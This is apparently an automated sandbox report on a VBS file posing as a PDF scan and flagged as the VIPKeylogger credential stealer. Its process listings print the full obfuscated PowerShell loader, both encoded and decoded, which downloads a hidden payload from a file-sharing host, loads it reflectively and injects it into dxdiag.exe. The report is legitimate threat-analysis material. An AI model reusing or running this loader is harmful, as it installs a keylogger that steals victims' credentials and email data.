Malware Analysis Report

2024-12-07 14:04

Sample ID 241112-rmtywsvaqg
Target Scan12112024,pdf.vbs
SHA256 e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850
Tags
execution vipkeylogger collection discovery keylogger stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850

Threat Level: Known bad

The file Scan12112024,pdf.vbs was found to be: Known bad.

Malicious Activity Summary

execution vipkeylogger collection discovery keylogger stealer

VIPKeylogger

Vipkeylogger family

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Checks computer location settings

Accesses Microsoft Outlook profiles

Looks up external IP address via web service

Suspicious use of SetThreadContext

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Browser Information Discovery

Suspicious behavior: EnumeratesProcesses

Modifies registry class

outlook_office_path

Script User-Agent

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

outlook_win_path

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-12 14:19

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-12 14:19

Reported

2024-11-12 14:21

Platform

win7-20240729-en

Max time kernel

117s

Max time network

119s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scan12112024,pdf.vbs"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scan12112024,pdf.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\hxhxhhbaysvp.wsf"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJGVudjpDb01TcEVDWzQsMTUsMjVdLWpPSW4nJykoKCdOdGZpbWFnZVVybCA9IHBlTmh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbycrJzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfJysnVDM1dyZwa18nKyd2aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgcGVOO050ZndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllJysnbnQ7TnRmaW1hZ2UnKydCeXRlcyA9IE50ZndlYkNsaWVudC5Eb3dubG9hZERhdGEoTnRmaW1hZ2VVcmwpO050ZmltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4JysndC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKE50ZmltYWdlQnl0ZXMpO050ZnN0YXJ0RmxhZyA9IHBlTjwnKyc8QkFTRTY0X1NUQVJUPj5wZU47TnRmZW5kRmxhZyA9IHBlTjw8QicrJ0FTRTY0X0VORD4+cGVOO050ZnN0YXJ0SW5kZXggPSBOdGZpbWFnZVRleHQuSW5kZXhPZihOdGZzdGFydEZsYWcpO050ZmVuZEluZGV4ID0gTnRmaW1hZ2VUZXh0LkluZGV4T2YoTnRmJysnZW5kRmxhZyk7TicrJ3Rmc3RhcnRJbmRleCAtZ2UgMCAtYW5kIE50ZmVuZEluZGV4IC1ndCBOdGZzdGFydEluZGV4OycrJ050ZnN0YXJ0SScrJ25kZXggKz0gTnRmc3RhcnRGbGFnLkxlbmd0aDsnKydOdGZiYXNlNjRMZW5ndGggPSBOdGZlbmRJbmRleCAtIE50ZnN0YScrJ3J0SW5kZXg7TnRmYmFzZTY0Q29tbWEnKyduZCA9IE50ZmltYWdlVGV4dC4nKydTdWJzdHJpJysnbmcoTnRmc3RhcnQnKydJbmRleCwgTnRmYmFzZTY0TGVuZ3RoKTtOdGZiYXNlJysnNjRSZXZlcnNlZCA9IC1qb2luIChOdGZiJysnYXNlNjRDJysnb21tYW5kLlQnKydvQ2hhckFycmF5KCkgbUxoIEZvckVhY2gtT2JqZWN0IHsgTnRmXyB9KVstMS4uLShOdGZiYXNlJysnNjRDb20nKydtYW5kLkxlbmd0aCknKyddO050ZmNvbW1hbmRCeXRlcyA9JysnIFtTeXN0ZW0uQ29udmVydF0nKyc6OkZyb21CJysnYXNlNjRTdHJpbmcoTnRmYmFzZTY0UmV2ZXJzZWQpO050ZmxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChOdGZjb21tYW5kQnl0ZScrJ3MpOycrJ050ZnZhaU1ldGgnKydvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QocGVOVkFJcGVOKTtOdCcrJ2Z2YWlNZXRob2QuJysnSW52b2tlKE50Zm51bGwsIEAocGVOdHh0LkxTU1dTL2tsby91ZS5oc3Vwd3NyZWxsb3Iuc3VwLy86cHR0aHBlTicrJywgcGVOZGVzYScrJ3RpdmFkb3BlTiwgcGVOZGVzYXRpdmFkb3BlJysnTiwgcGVOZGVzYXRpJysndmFkb3BlTiwgcGVOZGVzYXRpdmFkb3BlTiwgcGVOMXBlTiwgcGVOZHhkaWFncGVOLCBwJysnZU5kZXNhdGl2YWRvcGVOLCBwZU5kZXNhdGl2YWRvcGVOLHBlJysnTmRlc2F0aXZhZG9wZU4scGVOZGVzYXRpdmFkb3BlTixwZU5kZXNhdGl2YWRvcGVOLHBlTjFwZU4scGVOZGVzYXRpdmFkb3BlTikpOycpLlJlcGxBQ0UoJ21MaCcsW3N0cmlOR11bQ2hhUl0xMjQpLlJlcGxBQ0UoKFtDaGFSXTExMitbQ2hhUl0xMDErW0NoYVJdNzgpLFtzdHJpTkddW0NoYVJdMzkpLlJlcGxBQ0UoKFtDaGFSXTc4K1tDaGFSXTExNitbQ2hhUl0xMDIpLFtzdHJpTkddW0NoYVJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $env:CoMSpEC[4,15,25]-jOIn'')(('NtfimageUrl = peNhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bWo'+'9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_'+'T35w&pk_'+'vid=fd4f614bb209c62c1730945176a0904f peN;NtfwebClient = New-Object System.Net.WebClie'+'nt;Ntfimage'+'Bytes = NtfwebClient.DownloadData(NtfimageUrl);NtfimageText = [System.Tex'+'t.Encoding]::UTF8.GetString(NtfimageBytes);NtfstartFlag = peN<'+'<BASE64_START>>peN;NtfendFlag = peN<<B'+'ASE64_END>>peN;NtfstartIndex = NtfimageText.IndexOf(NtfstartFlag);NtfendIndex = NtfimageText.IndexOf(Ntf'+'endFlag);N'+'tfstartIndex -ge 0 -and NtfendIndex -gt NtfstartIndex;'+'NtfstartI'+'ndex += NtfstartFlag.Length;'+'Ntfbase64Length = NtfendIndex - Ntfsta'+'rtIndex;Ntfbase64Comma'+'nd = NtfimageText.'+'Substri'+'ng(Ntfstart'+'Index, Ntfbase64Length);Ntfbase'+'64Reversed = -join (Ntfb'+'ase64C'+'ommand.T'+'oCharArray() mLh ForEach-Object { Ntf_ })[-1..-(Ntfbase'+'64Com'+'mand.Length)'+'];NtfcommandBytes ='+' [System.Convert]'+'::FromB'+'ase64String(Ntfbase64Reversed);NtfloadedAssembly = [System.Reflection.Assembly]::Load(NtfcommandByte'+'s);'+'NtfvaiMeth'+'od = [dnlib.IO.Home].GetMethod(peNVAIpeN);Nt'+'fvaiMethod.'+'Invoke(Ntfnull, @(peNtxt.LSSWS/klo/ue.hsupwsrellor.sup//:ptthpeN'+', peNdesa'+'tivadopeN, peNdesativadope'+'N, peNdesati'+'vadopeN, peNdesativadopeN, peN1peN, peNdxdiagpeN, p'+'eNdesativadopeN, peNdesativadopeN,pe'+'NdesativadopeN,peNdesativadopeN,peNdesativadopeN,peN1peN,peNdesativadopeN));').ReplACE('mLh',[striNG][ChaR]124).ReplACE(([ChaR]112+[ChaR]101+[ChaR]78),[striNG][ChaR]39).ReplACE(([ChaR]78+[ChaR]116+[ChaR]102),[striNG][ChaR]36))"

Network

Country Destination Domain Proto
US 8.8.8.8:53 paste.ee udp
US 172.67.187.200:80 paste.ee tcp
US 172.67.187.200:443 paste.ee tcp
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 142.215.209.78:443 1017.filemail.com tcp

Files

C:\Users\Admin\AppData\Local\Temp\hxhxhhbaysvp.wsf

MD5 7204c9eb7a0202a3eb5732158ac1e4a7
SHA1 b46404c81270dc41fe73c8b33503f08f4522c055
SHA256 6181ae6da5b4003eb057e75507fe7d91207a9ac255a0df96f4da7164f31d9a05
SHA512 bdaef419803778a1921ad3520e9680aebb2fb9f500db285f0985daadc9159e7a917f97a701c290e0e69aa9f12740bda0bc67707be88be2b0fe5d96366306880b

memory/2776-7-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

memory/2776-8-0x0000000001E10000-0x0000000001E18000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 6e153ea4216d5bba3c9b96deeaf562a1
SHA1 f99d565acef8a09963c7d02696508da2b8d54dc6
SHA256 2bd09762c31284d0bb55a61472e2eb3c31f74584a2b5e08abedc7c7296cdcdbf
SHA512 72862e1942178171451003ba861241918183fb655a0074baf41535729d43a1dbe08e81ad1dcd196e3d35aa0b95172b081fc9f94693b93f6990775ae0f99cac7a

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-12 14:19

Reported

2024-11-12 14:21

Platform

win10v2004-20241007-en

Max time kernel

131s

Max time network

144s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scan12112024,pdf.vbs"

Signatures

VIPKeylogger

stealer keylogger vipkeylogger

Vipkeylogger family

vipkeylogger

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\dxdiag.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\dxdiag.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\dxdiag.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.dyndns.org N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 4808 set thread context of 4092 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\dxdiag.exe

Browser Information Discovery

discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\dxdiag.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings C:\Windows\System32\WScript.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\dxdiag.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1352 wrote to memory of 4752 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 1352 wrote to memory of 4752 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 4752 wrote to memory of 4616 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4752 wrote to memory of 4616 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4616 wrote to memory of 4808 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4616 wrote to memory of 4808 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4808 wrote to memory of 4092 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\dxdiag.exe
PID 4808 wrote to memory of 4092 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\dxdiag.exe
PID 4808 wrote to memory of 4092 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\dxdiag.exe
PID 4808 wrote to memory of 4092 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\dxdiag.exe
PID 4808 wrote to memory of 4092 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\dxdiag.exe
PID 4808 wrote to memory of 4092 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\dxdiag.exe
PID 4808 wrote to memory of 4092 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\dxdiag.exe
PID 4808 wrote to memory of 4092 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\dxdiag.exe
PID 4808 wrote to memory of 4092 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\dxdiag.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\dxdiag.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\dxdiag.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Scan12112024,pdf.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\hxhxhhbaysvp.wsf"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJGVudjpDb01TcEVDWzQsMTUsMjVdLWpPSW4nJykoKCdOdGZpbWFnZVVybCA9IHBlTmh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbycrJzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfJysnVDM1dyZwa18nKyd2aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgcGVOO050ZndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllJysnbnQ7TnRmaW1hZ2UnKydCeXRlcyA9IE50ZndlYkNsaWVudC5Eb3dubG9hZERhdGEoTnRmaW1hZ2VVcmwpO050ZmltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4JysndC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKE50ZmltYWdlQnl0ZXMpO050ZnN0YXJ0RmxhZyA9IHBlTjwnKyc8QkFTRTY0X1NUQVJUPj5wZU47TnRmZW5kRmxhZyA9IHBlTjw8QicrJ0FTRTY0X0VORD4+cGVOO050ZnN0YXJ0SW5kZXggPSBOdGZpbWFnZVRleHQuSW5kZXhPZihOdGZzdGFydEZsYWcpO050ZmVuZEluZGV4ID0gTnRmaW1hZ2VUZXh0LkluZGV4T2YoTnRmJysnZW5kRmxhZyk7TicrJ3Rmc3RhcnRJbmRleCAtZ2UgMCAtYW5kIE50ZmVuZEluZGV4IC1ndCBOdGZzdGFydEluZGV4OycrJ050ZnN0YXJ0SScrJ25kZXggKz0gTnRmc3RhcnRGbGFnLkxlbmd0aDsnKydOdGZiYXNlNjRMZW5ndGggPSBOdGZlbmRJbmRleCAtIE50ZnN0YScrJ3J0SW5kZXg7TnRmYmFzZTY0Q29tbWEnKyduZCA9IE50ZmltYWdlVGV4dC4nKydTdWJzdHJpJysnbmcoTnRmc3RhcnQnKydJbmRleCwgTnRmYmFzZTY0TGVuZ3RoKTtOdGZiYXNlJysnNjRSZXZlcnNlZCA9IC1qb2luIChOdGZiJysnYXNlNjRDJysnb21tYW5kLlQnKydvQ2hhckFycmF5KCkgbUxoIEZvckVhY2gtT2JqZWN0IHsgTnRmXyB9KVstMS4uLShOdGZiYXNlJysnNjRDb20nKydtYW5kLkxlbmd0aCknKyddO050ZmNvbW1hbmRCeXRlcyA9JysnIFtTeXN0ZW0uQ29udmVydF0nKyc6OkZyb21CJysnYXNlNjRTdHJpbmcoTnRmYmFzZTY0UmV2ZXJzZWQpO050ZmxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChOdGZjb21tYW5kQnl0ZScrJ3MpOycrJ050ZnZhaU1ldGgnKydvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QocGVOVkFJcGVOKTtOdCcrJ2Z2YWlNZXRob2QuJysnSW52b2tlKE50Zm51bGwsIEAocGVOdHh0LkxTU1dTL2tsby91ZS5oc3Vwd3NyZWxsb3Iuc3VwLy86cHR0aHBlTicrJywgcGVOZGVzYScrJ3RpdmFkb3BlTiwgcGVOZGVzYXRpdmFkb3BlJysnTiwgcGVOZGVzYXRpJysndmFkb3BlTiwgcGVOZGVzYXRpdmFkb3BlTiwgcGVOMXBlTiwgcGVOZHhkaWFncGVOLCBwJysnZU5kZXNhdGl2YWRvcGVOLCBwZU5kZXNhdGl2YWRvcGVOLHBlJysnTmRlc2F0aXZhZG9wZU4scGVOZGVzYXRpdmFkb3BlTixwZU5kZXNhdGl2YWRvcGVOLHBlTjFwZU4scGVOZGVzYXRpdmFkb3BlTikpOycpLlJlcGxBQ0UoJ21MaCcsW3N0cmlOR11bQ2hhUl0xMjQpLlJlcGxBQ0UoKFtDaGFSXTExMitbQ2hhUl0xMDErW0NoYVJdNzgpLFtzdHJpTkddW0NoYVJdMzkpLlJlcGxBQ0UoKFtDaGFSXTc4K1tDaGFSXTExNitbQ2hhUl0xMDIpLFtzdHJpTkddW0NoYVJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $env:CoMSpEC[4,15,25]-jOIn'')(('NtfimageUrl = peNhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bWo'+'9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_'+'T35w&pk_'+'vid=fd4f614bb209c62c1730945176a0904f peN;NtfwebClient = New-Object System.Net.WebClie'+'nt;Ntfimage'+'Bytes = NtfwebClient.DownloadData(NtfimageUrl);NtfimageText = [System.Tex'+'t.Encoding]::UTF8.GetString(NtfimageBytes);NtfstartFlag = peN<'+'<BASE64_START>>peN;NtfendFlag = peN<<B'+'ASE64_END>>peN;NtfstartIndex = NtfimageText.IndexOf(NtfstartFlag);NtfendIndex = NtfimageText.IndexOf(Ntf'+'endFlag);N'+'tfstartIndex -ge 0 -and NtfendIndex -gt NtfstartIndex;'+'NtfstartI'+'ndex += NtfstartFlag.Length;'+'Ntfbase64Length = NtfendIndex - Ntfsta'+'rtIndex;Ntfbase64Comma'+'nd = NtfimageText.'+'Substri'+'ng(Ntfstart'+'Index, Ntfbase64Length);Ntfbase'+'64Reversed = -join (Ntfb'+'ase64C'+'ommand.T'+'oCharArray() mLh ForEach-Object { Ntf_ })[-1..-(Ntfbase'+'64Com'+'mand.Length)'+'];NtfcommandBytes ='+' [System.Convert]'+'::FromB'+'ase64String(Ntfbase64Reversed);NtfloadedAssembly = [System.Reflection.Assembly]::Load(NtfcommandByte'+'s);'+'NtfvaiMeth'+'od = [dnlib.IO.Home].GetMethod(peNVAIpeN);Nt'+'fvaiMethod.'+'Invoke(Ntfnull, @(peNtxt.LSSWS/klo/ue.hsupwsrellor.sup//:ptthpeN'+', peNdesa'+'tivadopeN, peNdesativadope'+'N, peNdesati'+'vadopeN, peNdesativadopeN, peN1peN, peNdxdiagpeN, p'+'eNdesativadopeN, peNdesativadopeN,pe'+'NdesativadopeN,peNdesativadopeN,peNdesativadopeN,peN1peN,peNdesativadopeN));').ReplACE('mLh',[striNG][ChaR]124).ReplACE(([ChaR]112+[ChaR]101+[ChaR]78),[striNG][ChaR]39).ReplACE(([ChaR]78+[ChaR]116+[ChaR]102),[striNG][ChaR]36))"

C:\Windows\SysWOW64\dxdiag.exe

"C:\Windows\SysWOW64\dxdiag.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 paste.ee udp
US 172.67.187.200:80 paste.ee tcp
US 172.67.187.200:443 paste.ee tcp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 200.187.67.172.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 78.209.215.142.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 pus.rollerswpush.eu udp
LT 141.98.10.88:80 pus.rollerswpush.eu tcp
US 8.8.8.8:53 88.10.98.141.in-addr.arpa udp
US 8.8.8.8:53 checkip.dyndns.org udp
BR 132.226.247.73:80 checkip.dyndns.org tcp
US 8.8.8.8:53 reallyfreegeoip.org udp
US 104.21.67.152:443 reallyfreegeoip.org tcp
US 8.8.8.8:53 73.247.226.132.in-addr.arpa udp
US 8.8.8.8:53 152.67.21.104.in-addr.arpa udp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 sws.swpushroller.eu udp
LT 141.98.10.88:80 sws.swpushroller.eu tcp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 73.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 30.243.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\hxhxhhbaysvp.wsf

MD5 7204c9eb7a0202a3eb5732158ac1e4a7
SHA1 b46404c81270dc41fe73c8b33503f08f4522c055
SHA256 6181ae6da5b4003eb057e75507fe7d91207a9ac255a0df96f4da7164f31d9a05
SHA512 bdaef419803778a1921ad3520e9680aebb2fb9f500db285f0985daadc9159e7a917f97a701c290e0e69aa9f12740bda0bc67707be88be2b0fe5d96366306880b

memory/4616-3-0x000002795C4E0000-0x000002795C502000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l00ugics.0qs.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4808-22-0x000001CE49580000-0x000001CE496D8000-memory.dmp

memory/4092-23-0x0000000000400000-0x0000000000437000-memory.dmp

memory/4092-26-0x0000000000400000-0x0000000000437000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 f41839a3fe2888c8b3050197bc9a0a05
SHA1 0798941aaf7a53a11ea9ed589752890aee069729
SHA256 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA512 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

memory/4092-30-0x0000000003200000-0x000000000324E000-memory.dmp

memory/4092-31-0x0000000005F20000-0x00000000064C4000-memory.dmp

memory/4092-32-0x0000000003310000-0x000000000335E000-memory.dmp

memory/4092-33-0x00000000057B0000-0x000000000584C000-memory.dmp

memory/4092-34-0x00000000068A0000-0x0000000006A62000-memory.dmp

memory/4092-35-0x0000000006720000-0x0000000006770000-memory.dmp

memory/4092-36-0x0000000006FA0000-0x00000000074CC000-memory.dmp

memory/4092-37-0x0000000006D50000-0x0000000006DE2000-memory.dmp

memory/4092-38-0x0000000006B00000-0x0000000006B0A000-memory.dmp